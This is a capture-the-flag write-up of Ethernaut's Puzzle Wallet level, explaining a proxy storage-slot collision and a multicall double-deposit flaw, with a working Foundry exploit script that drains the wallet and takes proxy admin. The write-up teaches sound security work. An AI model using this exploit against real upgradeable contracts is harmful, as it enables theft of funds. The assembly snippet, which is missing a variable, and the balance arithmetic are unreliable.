Ethernaut Level 24 - Puzzle Wallet

Ethernaut Level 24 - Puzzle Wallet

Analysis and solution for Ethernaut's Level 24 - Puzzle Wallet, with Solidity and Foundry

Objectives

The objective of this level is to become the admin of the proxy contract, PuzzleProxy. This level requires knowledge of how contracts are upgraded using proxy-based patterns and delegate calls. This is a really fun one. Let's dive in.


Analysis

This level consists of two contracts, a Proxy contract called PuzzleProxy and the logic/implementation contract called PuzzleWallet. So what is a proxy and implementation contract you ask? It's time to learn about upgradeable contracts.

Upgradeable Contracts

Every transaction we do on Ethereum is immutable and can not be modified or updated. This is the advantage that makes the network secure and helps anyone on the network to verify and validate the transactions. Due to this limitation, developers face issues when updating their contract's code as it can not be modified once deployed on the blockchain.

To overcome this situation, upgradeable contracts were introduced. This deployment pattern consists of two contracts - A Proxy contract (Storage layer) and an Implementation contract (Logic layer).

In this architecture, the user interacts with the logic contract via the proxy contract and when there's a need to update the logic contract's code, the logic contract's address is updated in the proxy contract which allows the users to interact with the new logic contract.

image.png

There's something that should be noted when implementing an upgradeable pattern, the slot arrangement in both the contracts should be the same because the slots are mapped. It means that when the proxy contract makes a call to the implementation contract, the proxy's storage variables are modified and the call is made in the context of the proxy. This is where our exploitation starts.


Contract Analysis

Let's take a look at the slot arrangement in both the contracts:

Slot #PuzzleProxyPuzzleWallet
0pendingAdminowner
1adminmaxBalance

Since we need to become the admin of the proxy, we need to overwrite the value in slot 1, i.e., either the admin or the maxBalance variable.

There are two functions that are modifying the value of maxBalance. They are:

function init(uint256 _maxBalance) public {
    require(maxBalance == 0, "Already initialized");
    maxBalance = _maxBalance;
    owner = msg.sender;
}
...
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;
}

The init() function is making sure that the maxBalance is already 0 and then only allowing us to go through. This is impossible, so we'll look at the other function setMaxBalance().

The function setMaxBalance() is only checking if the contract's balance is 0. Maybe we can somehow influence this?

function addToWhitelist(address addr) external {
    require(msg.sender == owner, "Not the owner");
    whitelisted[addr] = true;
}

This function setMaxBalance() is also making sure that our user is whitelisted using a modifier onlyWhitelisted and to be whitelisted, we will be calling a function addToWhitelist() with our wallet's address but there's a validation happening in here that checks if our msg.sender is the owner.

To become the owner, we need to write into slot 0, i.e., either owner or pendingAdmin. From the contract PuzzleProxy, we can see that the function proposeNewAdmin() is external and is setting the value for pendingAdmin. Since the slots are replicated, if we call this function, we will automatically become the owner of the PuzzleWallet contract because both the variables are stored in slot 0 of the contracts.

Let us now look at the function influencing the contract's balance and allowing us to drain the balance.

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
    require(balances[msg.sender] >= value, "Insufficient balance");
    balances[msg.sender] = balances[msg.sender].sub(value);
    (bool success, ) = to.call{ value: value }(data);
    require(success, "Execution failed");
}

The execute() function is the only one that is making a call() to the address to with some value but this has a validation that checks that the msg.sender has sufficient balance to call the function. So how do we exploit this function?

We have to manipulate the contract into thinking that we have more balance than what we actually do. If we can do that, we will be able to call the execute() function with a value for balance that is equal to or more than the contract's balance and this will allow us to withdraw all the balance from the contract.

Now we have to look for any function which is manipulating our balance values. We see the deposit() function is allowing a user to deposit some amount into the contract and also adding the deposited amount into our balances mapping. But, if we call the deposit() normally, it will add the balance in both places (balances mapping and the contract). To exploit this function, we need to send Ether only once but increase value in our balances mapping twice. So how do we do that?

Now comes a function called multicall(). This function basically does what its name says. It allows you to call a function multiple times in a single transaction, saving some gas. Let's study its code:

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
        bytes memory _data = data[i];
        bytes4 selector;
        assembly {
            selector := mload(add(  , 32))
        }
        if (selector == this.deposit.selector) {
            require(!depositCalled, "Deposit can only be called once");
            // Protect against reusing msg.value
            depositCalled = true;
        }
        (bool success, ) = address(this).delegatecall(data[i]);
        require(success, "Error while delegating call");
    }
}

Maybe we can make use of this function to call deposit() multiple times in a single transaction therefore we will be supplying Ether only once but our balances might increase in multiples. But wait! There's another validation in here.

There's a flag called depositCalled which is set to false initially. The function is extracting the function selector from the data passed to it and checking if it is deposit() and changing the value of the flag depositCalled. This is essentially preventing deposit() from being called multiple times through multicall(). We need to bypass this.

The contract's current balance is 0.001. We can check using await getBalance(instance) from the console.

If we are able to call deposit() twice with 0.001 Ether in the same transaction, it'll mean that we are supplying 0.001 Ether only once and our player's balance (balances[player]) will go from 0 to 0.002 but in actuality, since we did it in the same transaction, our deposited amount will still be 0.001.

Therefore, the total balance of the contract now will still be 0.002, but due to the accounting error in balances, it'll think that it's 0.003 Ether. This will allow our player to call the execute() function because the statement require(balances[msg.sender] >= value) = (require(0.003 >= 0.002) will result in a success if we supply 0.002 Ether as value which will drain the contract.

What if, instead of calling deposit() directly with multicall(), we call two multicalls and within each multicall(), we call one deposit() (since the function multicall() takes an array)?

This won't affect the depositCalled since each multicall() will check their own depositCalled bool values.

Once we do this, we should be able to call the execute() to drain the contract and after that we should be able to call setMaxBalance() to set the value of maxBalance on slot 1, and therefore, setting the value for the proxy admin.

Phew! That was a long explanation. Let's write our theory into solidity code.


The Exploit

Let's take a look at our exploit script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "forge-std/Script.sol";
import "../instances/Ilevel24.sol";

contract POC is Script {

    PuzzleWallet wallet = PuzzleWallet(0x7E069Cb68CE876D435b422652f86462F4A276145);
    PuzzleProxy px = PuzzleProxy(0x7E069Cb68CE876D435b422652f86462F4A276145);

    function run() external{
        vm.startBroadcast();

        //creating encoded function data to pass into multicall
        bytes[] memory depositSelector = new bytes[](1);
        depositSelector[0] = abi.encodeWithSelector(wallet.deposit.selector);
        bytes[] memory nestedMulticall = new bytes[](2);
        nestedMulticall[0] = abi.encodeWithSelector(wallet.deposit.selector);
        nestedMulticall[1] = abi.encodeWithSelector(wallet.multicall.selector, depositSelector);

        // making ourselves owner of wallet
        px.proposeNewAdmin(msg.sender);
        //whitelisting our address
        wallet.addToWhitelist(msg.sender);
        //calling multicall with nested data stored above
        wallet.multicall{value: 0.001 ether}(nestedMulticall);
        //calling execute to drain the contract
        wallet.execute(msg.sender, 0.002 ether, "");
        //calling setMaxBalance with our address to become the admin of proxy
        wallet.setMaxBalance(uint256(msg.sender));
        //making sure our exploit worked
        console.log("New Admin is : ", px.admin());

        vm.stopBroadcast();
    }
}
  • We have created two arrays that are storing the encoded function selectors. The array nestedMulticall is storing the call to deposit() at index 0 and a call to multicall() with deposit() function's selector passed as argument. This allows us to call deposit once using nestedMulticall[0] and then once more using nestedMulticall[1].

We have to use pragma experimental ABIEncoderV2; otherwise the compilation will give an error related to dynamic nested arrays.

  • After this, we are making ourselves the owner of the wallet by setting the value of pendingAdmin in the proxy contract.
  • Calling the addToWhitelist() to whitelist our address. This will allow us to interact with other functions that have the onlyWhitelisted modifier.
  • Making a multicall() with a value of 0.001 Ether and the data stored above in the array. This will introduce the erroneous balance calculation in the contract.
  • Calling the execute() function to drain the contract.
  • And at last, we are calling the setMaxBalance() function to set the value of maxBalance in the wallet contract, and therefore admin in the proxy contract.

The script can be executed using the following command:

forge script ./script/level24.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

image.png

The new admin can be seen in the console log. The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - blog.dixitaditya.com/getting-started-with-e..


Takeaways

  • Never leave business-critical functions without an access control modifier.
  • The arrangement of slots should be the same otherwise it might be possible to overwrite the variables on the same slots through either the proxy or the implementation contract.
  • Assembly should be used with caution as it overwrites most of the important solidity validations.
  • If there are critical functions depending on the contract's balance, functions related to balance update and Ether deposit and withdrawal should be carefully implemented with all the necessary input validations.

References